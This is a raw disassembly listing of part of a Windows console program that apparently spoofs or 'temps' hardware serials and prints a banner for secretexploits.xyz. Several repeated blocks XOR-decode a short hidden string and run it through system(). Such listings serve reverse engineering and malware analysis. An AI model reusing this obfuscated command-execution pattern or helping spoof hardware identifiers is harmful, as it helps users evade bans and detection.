movaps xmm0, xmmword [rbp + 0x500]
movdqa xmmword [rsp + 0x40], xmm0
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0x550]
call fcn.140037ee0
bts r15d, 7
mov dword [rsp + 0x54], r15d
lea r9, [fcn.140002db0]
mov edx, Ordinal_41
lea r8d, [rdx - 0x27]
lea rcx, [rbp - 0x80]
call fcn.14009b84c
lea rdx, [rbp + 0x550]
mov rcx, rdi
call fcn.140037300
mov rdi, rax
lea rax, [rbp - 0x40]
mov qword [rsp + 0x40], rax
lea rdx, [0x1400b13e0]
lea rcx, [rbp - 0x40]
call fcn.140036b40
mov rbx, rax
lea rdx, [0x1400b1cec]
lea rcx, [rsp + 0x60]
call fcn.140036b40
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp - 0x80]
call fcn.1400383f0
nop
lea rax, [rbp - 0x80]
mov qword [rbp + 0x510], rax
lea rax, [rbp - 0x58]
mov qword [rbp + 0x518], rax
movaps xmm0, xmmword [rbp + 0x510]
movdqa xmmword [rsp + 0x40], xmm0
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0x540]
call fcn.140037ee0
bts r15d, 8
mov dword [rsp + 0x54], r15d
lea r9, [fcn.140002db0]
mov edx, Ordinal_41
lea r8d, [rdx - 0x27]
lea rcx, [rbp - 0x80]
call fcn.14009b84c
lea rdx, [rbp + 0x540]
mov rcx, rdi
call fcn.140037300
mov rdi, rax
lea rax, [rbp - 0x40]
mov qword [rsp + 0x40], rax
lea rdx, [0x1400b1430]
lea rcx, [rbp - 0x40]
call fcn.140036b40
mov rbx, rax
lea rdx, [0x1400b1cf0]
lea rcx, [rsp + 0x60]
call fcn.140036b40
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp - 0x80]
call fcn.1400383f0
nop
lea rax, [rbp - 0x80]
mov qword [rbp + 0x520], rax
lea rax, [rbp - 0x58]
mov qword [rbp + 0x528], rax
movaps xmm0, xmmword [rbp + 0x520]
movdqa xmmword [rsp + 0x40], xmm0
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0x530]
call fcn.140037ee0
bts r15d, 9
mov dword [rsp + 0x54], r15d
lea r9, [fcn.140002db0]
mov edx, Ordinal_41
lea r8d, [rdx - 0x27]
lea rcx, [rbp - 0x80]
call fcn.14009b84c
lea rdx, [rbp + 0x530]
mov rcx, rdi
call fcn.140037300
mov rcx, rax
lea rdx, str.Temping_Successfully__Going_back_to_menu..._n
call fcn.1400373b0
lea rdx, [0x140037770]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
btr r15d, 9
lea rcx, [rbp + 0x530]
call fcn.140036980
btr r15d, 8
lea rcx, [rbp + 0x540]
call fcn.140036980
btr r15d, 7
mov dword [rsp + 0x54], r15d
lea rcx, [rbp + 0x550]
jmp 0x14002fbaa
lea rcx, [rbp + 0xe30]
cmp rdi, 0xf
cmova rcx, r13
cmp rbx, 1
jne 0x1400307e0
mov r8, rbx
lea rdx, [0x1400b225c]
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne 0x1400307e0
lea edx, [rbx + 6]
mov rcx, qword [rbp + 0xe20]
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
mov eax, dword [str.U_K9]
mov dword [rbp + 0xe28], eax
cmp byte [reloc.WS2_32.dll_gethostname], 0
je 0x140030323
cmp esi, 2
jl 0x1400302e0
movdqa xmm3, xmmword [0x1400b4b50]
movdqa xmm2, xmm3
punpckldq xmm2, xmm3
pmuldq xmm2, xmmword [0x1400b4ba0]
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmmword [0x1400b4ba0]
shufps xmm2, xmm0, 0xdd
paddd xmm2, xmm3
psrad xmm2, 5
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmmword [0x1400b4b70]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400b4b80]
packuswb xmm2, xmm2
paddb xmm2, xmmword [str.6666666666666666]
movd xmm0, eax
xorps xmm2, xmm0
movd dword [rbp + 0xe28], xmm2
jmp 0x140030323
lea r9, [rbp + 0xe28]
xor r8d, r8d
nop word [rax + rax]
mov eax, 0x92492493
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 4
jl 0x1400302f0
lea rcx, [rbp + 0xe28]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rdi, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rax, [rbp - 0x40]
mov qword [rsp + 0x40], rax
lea rdx, [0x1400b1430]
lea rcx, [rbp - 0x40]
call fcn.140036b40
mov rbx, rax
lea rdx, [0x1400b2294]
lea rcx, [rsp + 0x60]
call fcn.140036b40
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp - 0x80]
call fcn.1400383f0
nop
lea rax, [rbp - 0x80]
mov qword [rbp + 0x560], rax
lea rax, [rbp - 0x58]
mov qword [rbp + 0x568], rax
movaps xmm0, xmmword [rbp + 0x560]
movdqa xmmword [rsp + 0x40], xmm0
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0x5b0]
call fcn.140037ee0
bts r15d, 0xa
mov dword [rsp + 0x54], r15d
lea r9, [fcn.140002db0]
mov edx, Ordinal_41
lea r8d, [rdx - 0x27]
lea rcx, [rbp - 0x80]
call fcn.14009b84c
lea rdx, [rbp + 0x5b0]
mov rcx, rdi
call fcn.140037300
mov rdi, rax
lea rax, [rbp - 0x40]
mov qword [rsp + 0x40], rax
lea rdx, [0x1400b13e0]
lea rcx, [rbp - 0x40]
call fcn.140036b40
mov rbx, rax
lea rdx, [0x1400b1cec]
lea rcx, [rsp + 0x60]
call fcn.140036b40
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp - 0x80]
call fcn.1400383f0
nop
lea rax, [rbp - 0x80]
mov qword [rbp + 0x570], rax
lea rax, [rbp - 0x58]
mov qword [rbp + 0x578], rax
movaps xmm0, xmmword [rbp + 0x570]
movdqa xmmword [rsp + 0x40], xmm0
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0x5a0]
call fcn.140037ee0
bts r15d, 0xb
mov dword [rsp + 0x54], r15d
lea r9, [fcn.140002db0]
mov edx, Ordinal_41
lea r8d, [rdx - 0x27]
lea rcx, [rbp - 0x80]
call fcn.14009b84c
lea rdx, [rbp + 0x5a0]
mov rcx, rdi
call fcn.140037300
mov rdi, rax
lea rax, [rbp - 0x40]
mov qword [rsp + 0x40], rax
lea rdx, [0x1400b1430]
lea rcx, [rbp - 0x40]
call fcn.140036b40
mov rbx, rax
lea rdx, [0x1400b1cf0]
lea rcx, [rsp + 0x60]
call fcn.140036b40
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp - 0x80]
call fcn.1400383f0
nop
lea rax, [rbp - 0x80]
mov qword [rbp + 0x580], rax
lea rax, [rbp - 0x58]
mov qword [rbp + 0x588], rax
movaps xmm0, xmmword [rbp + 0x580]
movdqa xmmword [rsp + 0x40], xmm0
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0x590]
call fcn.140037ee0
bts r15d, 0xc
mov dword [rsp + 0x54], r15d
lea r9, [fcn.140002db0]
mov edx, Ordinal_41
lea r8d, [rdx - 0x27]
lea rcx, [rbp - 0x80]
call fcn.14009b84c
lea rdx, [rbp + 0x590]
mov rcx, rdi
call fcn.140037300
mov rcx, rax
lea rdx, str.Temping_Serials_..._n
call fcn.1400373b0
lea rdx, [0x140037770]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
btr r15d, 0xc
lea rcx, [rbp + 0x590]
call fcn.140036980
btr r15d, 0xb
lea rcx, [rbp + 0x5a0]
call fcn.140036980
btr r15d, 0xa
mov dword [rsp + 0x54], r15d
lea rcx, [rbp + 0x5b0]
call fcn.140036980
call fcn.140016d60
mov ecx, 0x708
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rdi, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rax, [rbp - 0x40]
mov qword [rsp + 0x40], rax
lea rdx, [0x1400b1430]
lea rcx, [rbp - 0x40]
call fcn.140036b40
mov rbx, rax
lea rdx, [0x1400b2294]
lea rcx, [rsp + 0x60]
call fcn.140036b40
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp - 0x80]
call fcn.1400383f0
nop
lea rax, [rbp - 0x80]
mov qword [rbp + 0x5c0], rax
lea rax, [rbp - 0x58]
mov qword [rbp + 0x5c8], rax
movaps xmm0, xmmword [rbp + 0x5c0]
movdqa xmmword [rsp + 0x40], xmm0
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0x610]
call fcn.140037ee0
bts r15d, 0xd
mov dword [rsp + 0x54], r15d
lea r9, [fcn.140002db0]
mov edx, Ordinal_41
lea r8d, [rdx - 0x27]
lea rcx, [rbp - 0x80]
call fcn.14009b84c
lea rdx, [rbp + 0x610]
mov rcx, rdi
call fcn.140037300
mov rdi, rax
lea rax, [rbp - 0x40]
mov qword [rsp + 0x40], rax
lea rdx, [0x1400b13e0]
lea rcx, [rbp - 0x40]
call fcn.140036b40
mov rbx, rax
lea rdx, [0x1400b1cec]
lea rcx, [rsp + 0x60]
call fcn.140036b40
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp - 0x80]
call fcn.1400383f0
nop
lea rax, [rbp - 0x80]
mov qword [rbp + 0x5d0], rax
lea rax, [rbp - 0x58]
mov qword [rbp + 0x5d8], rax
movaps xmm0, xmmword [rbp + 0x5d0]
movdqa xmmword [rsp + 0x40], xmm0
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0x600]
call fcn.140037ee0
bts r15d, 0xe
mov dword [rsp + 0x54], r15d
lea r9, [fcn.140002db0]
mov edx, Ordinal_41
lea r8d, [rdx - 0x27]
lea rcx, [rbp - 0x80]
call fcn.14009b84c
lea rdx, [rbp + 0x600]
mov rcx, rdi
call fcn.140037300
mov rdi, rax
lea rax, [rbp - 0x40]
mov qword [rsp + 0x40], rax
lea rdx, [0x1400b1430]
lea rcx, [rbp - 0x40]
call fcn.140036b40
mov rbx, rax
lea rdx, [0x1400b1cf0]
lea rcx, [rsp + 0x60]
call fcn.140036b40
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp - 0x80]
call fcn.1400383f0
nop
lea rax, [rbp - 0x80]
mov qword [rbp + 0x5e0], rax
lea rax, [rbp - 0x58]
mov qword [rbp + 0x5e8], rax
movaps xmm0, xmmword [rbp + 0x5e0]
movdqa xmmword [rsp + 0x40], xmm0
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0x5f0]
call fcn.140037ee0
bts r15d, 0xf
mov dword [rsp + 0x54], r15d
lea r9, [fcn.140002db0]
mov edx, Ordinal_41
lea r8d, [rdx - 0x27]
lea rcx, [rbp - 0x80]
call fcn.14009b84c
lea rdx, [rbp + 0x5f0]
mov rcx, rdi
call fcn.140037300
mov rcx, rax
lea rdx, str.Temping_Successfully__Going_back_to_menu..._n
call fcn.1400373b0
lea rdx, [0x140037770]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
btr r15d, 0xf
lea rcx, [rbp + 0x5f0]
call fcn.140036980
btr r15d, 0xe
lea rcx, [rbp + 0x600]
call fcn.140036980
btr r15d, 0xd
mov dword [rsp + 0x54], r15d
lea rcx, [rbp + 0x610]
jmp 0x14002fbaa
lea rcx, [rbp + 0xe30]
cmp rdi, 0xf
cmova rcx, r13
cmp rbx, 1
jne 0x140030dbc
mov r8, rbx
lea rdx, [0x1400b227c]
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne 0x140030dbc
lea edx, [rbx + 6]
mov rcx, qword [rbp + 0xe20]
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
mov eax, dword [str.U_K9]
mov dword [rbp + 0xe28], eax
cmp byte [reloc.WS2_32.dll_gethostname], 0
je 0x140030903
cmp esi, 2
jl 0x1400308c6
movdqa xmm3, xmmword [0x1400b4b50]
movdqa xmm2, xmm3
punpckldq xmm2, xmm3
pmuldq xmm2, xmmword [0x1400b4ba0]
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmmword [0x1400b4ba0]
shufps xmm2, xmm0, 0xdd
paddd xmm2, xmm3
psrad xmm2, 5
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmmword [0x1400b4b70]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400b4b80]
packuswb xmm2, xmm2
paddb xmm2, xmmword [str.6666666666666666]
movd xmm0, eax
xorps xmm2, xmm0
movd dword [rbp + 0xe28], xmm2
jmp 0x140030903
lea r9, [rbp + 0xe28]
xor r8d, r8d
mov eax, 0x92492493
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 4
jl 0x1400308d0
lea rcx, [rbp + 0xe28]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rdi, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rax, [rbp - 0x40]
mov qword [rsp + 0x40], rax
lea rdx, [0x1400b1430]
lea rcx, [rbp - 0x40]
call fcn.140036b40
mov rbx, rax
lea rdx, [0x1400b2294]
lea rcx, [rsp + 0x60]
call fcn.140036b40
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp - 0x80]
call fcn.1400383f0
nop
lea rax, [rbp - 0x80]
mov qword [rbp + 0x620], rax
lea rax, [rbp - 0x58]
mov qword [rbp + 0x628], rax
movaps xmm0, xmmword [rbp + 0x620]
movdqa xmmword [rsp + 0x40], xmm0
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0x670]
call fcn.140037ee0
bts r15d, 0x1d
mov dword [rsp + 0x54], r15d
lea r9, [fcn.140002db0]
mov edx, Ordinal_41
lea r8d, [rdx - 0x27]
lea rcx, [rbp - 0x80]
call fcn.14009b84c
lea rdx, [rbp + 0x670]
mov rcx, rdi
call fcn.140037300
mov rdi, rax
lea rax, [rbp - 0x40]
mov qword [rsp + 0x40], rax
lea rdx, [0x1400b13e0]
lea rcx, [rbp - 0x40]
call fcn.140036b40
mov rbx, rax
lea rdx, [0x1400b1cec]
lea rcx, [rsp + 0x60]
call fcn.140036b40
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp - 0x80]
call fcn.1400383f0
nop
lea rax, [rbp - 0x80]
mov qword [rbp + 0x630], rax
lea rax, [rbp - 0x58]
mov qword [rbp + 0x638], rax
movaps xmm0, xmmword [rbp + 0x630]
movdqa xmmword [rsp + 0x40], xmm0
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0x660]
call fcn.140037ee0
bts r15d, 0x1e
mov dword [rsp + 0x54], r15d
lea r9, [fcn.140002db0]
mov edx, Ordinal_41
lea r8d, [rdx - 0x27]
lea rcx, [rbp - 0x80]
call fcn.14009b84c
lea rdx, [rbp + 0x660]
mov rcx, rdi
call fcn.140037300
mov rdi, rax
lea rax, [rbp - 0x40]
mov qword [rsp + 0x40], rax
lea rdx, [0x1400b1430]
lea rcx, [rbp - 0x40]
call fcn.140036b40
mov rbx, rax
lea rdx, [0x1400b1cf0]
lea rcx, [rsp + 0x60]
call fcn.140036b40
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp - 0x80]
call fcn.1400383f0
nop
lea rax, [rbp - 0x80]
mov qword [rbp + 0x640], rax
lea rax, [rbp - 0x58]
mov qword [rbp + 0x648], rax
movaps xmm0, xmmword [rbp + 0x640]
movdqa xmmword [rsp + 0x40], xmm0
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0x650]
call fcn.140037ee0
or r15d, 0x80000000
mov dword [rsp + 0x54], r15d
lea r9, [fcn.140002db0]
mov edx, Ordinal_41
lea r8d, [rdx - 0x27]
lea rcx, [rbp - 0x80]
call fcn.14009b84c
lea rdx, [rbp + 0x650]
mov rcx, rdi
call fcn.140037300
mov rcx, rax
lea rdx, str.Temping_Serials_..._n
call fcn.1400373b0
lea rdx, [0x140037770]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
btr r15d, 0x1f
lea rcx, [rbp + 0x650]
call fcn.140036980
btr r15d, 0x1e
lea rcx, [rbp + 0x660]
call fcn.140036980
btr r15d, 0x1d
mov dword [rsp + 0x54], r15d
lea rcx, [rbp + 0x670]
call fcn.140036980
call fcn.140020bd0
mov ecx, 0x708
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rdi, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rax, [rbp - 0x40]
mov qword [rsp + 0x40], rax
lea rdx, [0x1400b1430]
lea rcx, [rbp - 0x40]
call fcn.140036b40
mov rbx, rax
lea rdx, [0x1400b2294]
lea rcx, [rsp + 0x60]
call fcn.140036b40
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp - 0x80]
call fcn.1400383f0
nop
lea rax, [rbp - 0x80]
mov qword [rbp + 0x680], rax
lea rax, [rbp - 0x58]
mov qword [rbp + 0x688], rax
movaps xmm0, xmmword [rbp + 0x680]
movdqa xmmword [rsp + 0x40], xmm0
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0x6d0]
call fcn.140037ee0
or r14d, 1
mov dword [rsp + 0x50], r14d
lea r9, [fcn.140002db0]
mov edx, Ordinal_41
lea r8d, [rdx - 0x27]
lea rcx, [rbp - 0x80]
call fcn.14009b84c
lea rdx, [rbp + 0x6d0]
mov rcx, rdi
call fcn.140037300
mov rdi, rax
lea rax, [rbp - 0x40]
mov qword [rsp + 0x40], rax
lea rdx, [0x1400b13e0]
lea rcx, [rbp - 0x40]
call fcn.140036b40
mov rbx, rax
lea rdx, [0x1400b1cec]
lea rcx, [rsp + 0x60]
call fcn.140036b40
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp - 0x80]
call fcn.1400383f0
nop
lea rax, [rbp - 0x80]
mov qword [rbp + 0x690], rax
lea rax, [rbp - 0x58]
mov qword [rbp + 0x698], rax
movaps xmm0, xmmword [rbp + 0x690]
movdqa xmmword [rsp + 0x40], xmm0
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0x6c0]
call fcn.140037ee0
or r14d, 2
mov dword [rsp + 0x50], r14d
lea r9, [fcn.140002db0]
mov edx, Ordinal_41
lea r8d, [rdx - 0x27]
lea rcx, [rbp - 0x80]
call fcn.14009b84c
lea rdx, [rbp + 0x6c0]
mov rcx, rdi
call fcn.140037300
mov rdi, rax
lea rax, [rbp - 0x40]
mov qword [rsp + 0x40], rax
lea rdx, [0x1400b1430]
lea rcx, [rbp - 0x40]
call fcn.140036b40
mov rbx, rax
lea rdx, [0x1400b1cf0]
lea rcx, [rsp + 0x60]
call fcn.140036b40
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp - 0x80]
call fcn.1400383f0
nop
lea rax, [rbp - 0x80]
mov qword [rbp + 0x6a0], rax
lea rax, [rbp - 0x58]
mov qword [rbp + 0x6a8], rax
movaps xmm0, xmmword [rbp + 0x6a0]
movdqa xmmword [rsp + 0x40], xmm0
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0x6b0]
call fcn.140037ee0
or r14d, 4
mov dword [rsp + 0x50], r14d
lea r9, [fcn.140002db0]
mov edx, Ordinal_41
lea r8d, [rdx - 0x27]
lea rcx, [rbp - 0x80]
call fcn.14009b84c
lea rdx, [rbp + 0x6b0]
mov rcx, rdi
call fcn.140037300
mov rcx, rax
lea rdx, str.Temping_Successfully__Going_back_to_menu..._n
call fcn.1400373b0
lea rdx, [0x140037770]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
and r14d, 0xfffffffb
lea rcx, [rbp + 0x6b0]
call fcn.140036980
and r14d, 0xfffffffd
lea rcx, [rbp + 0x6c0]
call fcn.140036980
and r14d, 0xfffffffe
mov dword [rsp + 0x50], r14d
lea rcx, [rbp + 0x6d0]
jmp 0x14002fbaa
lea rcx, [rbp + 0xe30]
cmp rdi, 0xf
cmova rcx, r13
cmp rbx, 1
jne 0x14003476e
mov r8, rbx
lea rdx, [0x1400b2290]
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne 0x14003476e
lea edx, [rbx + 6]
mov rcx, qword [rbp + 0xe20]
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
mov eax, dword [str.U_K9]
mov dword [rbp + 0xe28], eax
cmp byte [reloc.WS2_32.dll_gethostname], 0
je 0x140030ee3
cmp esi, 2
jl 0x140030ea2
movdqa xmm3, xmmword [0x1400b4b50]
movdqa xmm2, xmm3
punpckldq xmm2, xmm3
pmuldq xmm2, xmmword [0x1400b4ba0]
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmmword [0x1400b4ba0]
shufps xmm2, xmm0, 0xdd
paddd xmm2, xmm3
psrad xmm2, 5
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmmword [0x1400b4b70]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400b4b80]
packuswb xmm2, xmm2
paddb xmm2, xmmword [str.6666666666666666]
movd xmm0, eax
xorps xmm2, xmm0
movd dword [rbp + 0xe28], xmm2
jmp 0x140030ee3
lea r9, [rbp + 0xe28]
xor r8d, r8d
nop dword [rax]
mov eax, 0x92492493
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 4
jl 0x140030eb0
lea rcx, [rbp + 0xe28]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rdi, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rax, [rbp - 0x40]
mov qword [rsp + 0x40], rax
lea rdx, [0x1400b1430]
lea rcx, [rbp - 0x40]
call fcn.140036b40
mov rbx, rax
lea rdx, str._n
lea rcx, [rsp + 0x60]
call fcn.140036b40
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp - 0x80]
call fcn.1400383f0
nop
lea rax, [rbp - 0x80]
mov qword [rbp + 0x6e0], rax
lea rax, [rbp - 0x58]
mov qword [rbp + 0x6e8], rax
movaps xmm0, xmmword [rbp + 0x6e0]
movdqa xmmword [rsp + 0x40], xmm0
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0x6f0]
call fcn.140037ee0
or r14d, 8
mov dword [rsp + 0x50], r14d
lea r9, [fcn.140002db0]
mov edx, Ordinal_41
lea r8d, [rdx - 0x27]
lea rcx, [rbp - 0x80]
call fcn.14009b84c
lea rdx, [rbp + 0x6f0]
mov rcx, rdi
call fcn.140037300
and r14d, 0xfffffff7
mov dword [rsp + 0x50], r14d
lea rcx, [rbp + 0x6f0]
call fcn.140036980
mov rdi, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rax, [rbp - 0x40]
mov qword [rsp + 0x40], rax
lea rdx, [0x1400b13e0]
lea rcx, [rbp - 0x40]
call fcn.140036b40
mov rbx, rax
lea rdx, str.___________secretexploits.xyz_______________________secretexploits.xyz_______________________secretexploits.xyz_____________n
lea rcx, [rsp + 0x60]
call fcn.140036b40
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp - 0x80]
call fcn.1400383f0
nop
lea rax, [rbp - 0x80]
mov qword [rbp + 0x700], rax
lea rax, [rbp - 0x58]
mov qword [rbp + 0x708], rax
movaps xmm0, xmmword [rbp + 0x700]
movdqa xmmword [rsp + 0x40], xmm0
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0x710]
call fcn.140037ee0
or r14d, 0x10
mov dword [rsp + 0x50], r14d
lea r9, [fcn.140002db0]
mov edx, Ordinal_41
lea r8d, [rdx - 0x27]
lea rcx, [rbp - 0x80]
call fcn.14009b84c
lea rdx, [rbp + 0x710]
mov rcx, rdi
call fcn.140037300
and r14d, 0xffffffef
mov dword [rsp + 0x50], r14d
lea rcx, [rbp + 0x710]
call fcn.140036980
mov rdi, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rax, [rbp - 0x40]
mov qword [rsp + 0x40], rax
lea rdx, [0x1400b1430]
lea rcx, [rbp - 0x40]
call fcn.140036b40
mov rbx, rax
lea rdx, str._n_n
lea rcx, [rsp + 0x60]
call fcn.140036b40
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp - 0x80]
call fcn.1400383f0
nop
lea rax, [rbp - 0x80]
mov qword [rbp + 0x720], rax
lea rax, [rbp - 0x58]
mov qword [rbp + 0x728], rax
movaps xmm0, xmmword [rbp + 0x720]
movdqa xmmword [rsp + 0x40], xmm0
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0x730]
call fcn.140037ee0
or r14d, 0x20
mov dword [rsp + 0x50], r14d
lea r9, [fcn.140002db0]
mov edx, Ordinal_41
lea r8d, [rdx - 0x27]
lea rcx, [rbp - 0x80]
call fcn.14009b84c
lea rdx, [rbp + 0x730]
mov rcx, rdi
call fcn.140037300
and r14d, 0xffffffdf
mov dword [rsp + 0x50], r14d
lea rcx, [rbp + 0x730]
call fcn.140036980
mov rdi, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rax, [rbp - 0x40]
mov qword [rsp + 0x40], rax
lea rdx, [0x1400b1430]
lea rcx, [rbp - 0x40]
call fcn.140036b40
mov rbx, rax
lea rdx, [0x1400b2294]
lea rcx, [rsp + 0x60]
call fcn.140036b40
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp - 0x80]
call fcn.1400383f0
nop
lea rax, [rbp - 0x80]
mov qword [rbp + 0x740], rax
lea rax, [rbp - 0x58]
mov qword [rbp + 0x748], rax
movaps xmm0, xmmword [rbp + 0x740]
movdqa xmmword [rsp + 0x40], xmm0
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0x750]
call fcn.140037ee0
or r14d, 0x40
mov dword [rsp + 0x50], r14d
lea r9, [fcn.140002db0]
mov edx, Ordinal_41
lea r8d, [rdx - 0x27]
lea rcx, [rbp - 0x80]
call fcn.14009b84c
lea rdx, [rbp + 0x750]
mov rcx, rdi
call fcn.140037300
and r14d, 0xffffffbf
mov dword [rsp + 0x50], r14d
lea rcx, [rbp + 0x750]
call fcn.140036980
mov rdi, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rax, [rbp - 0x40]
mov qword [rsp + 0x40], rax
lea rdx, [0x1400b13e0]
lea rcx, [rbp - 0x40]
call fcn.140036b40
mov rbx, rax
lea rdx, [0x1400b2330]
lea rcx, [rsp + 0x60]
call fcn.140036b40
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp - 0x80]
call fcn.1400383f0
nop
lea rax, [rbp - 0x80]
mov qword [rbp + 0x760], rax
lea rax, [rbp - 0x58]
mov qword [rbp + 0x768], rax
movaps xmm0, xmmword [rbp + 0x760]
movdqa xmmword [rsp + 0x40], xmm0
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0x770]
call fcn.140037ee0
bts r14d, 7
mov dword [rsp + 0x50], r14d
lea r9, [fcn.140002db0]
mov edx, Ordinal_41
lea r8d, [rdx - 0x27]
lea rcx, [rbp - 0x80]
call fcn.14009b84c
lea rdx, [rbp + 0x770]
mov rcx, rdi
call fcn.140037300
btr r14d, 7
mov dword [rsp + 0x50], r14d
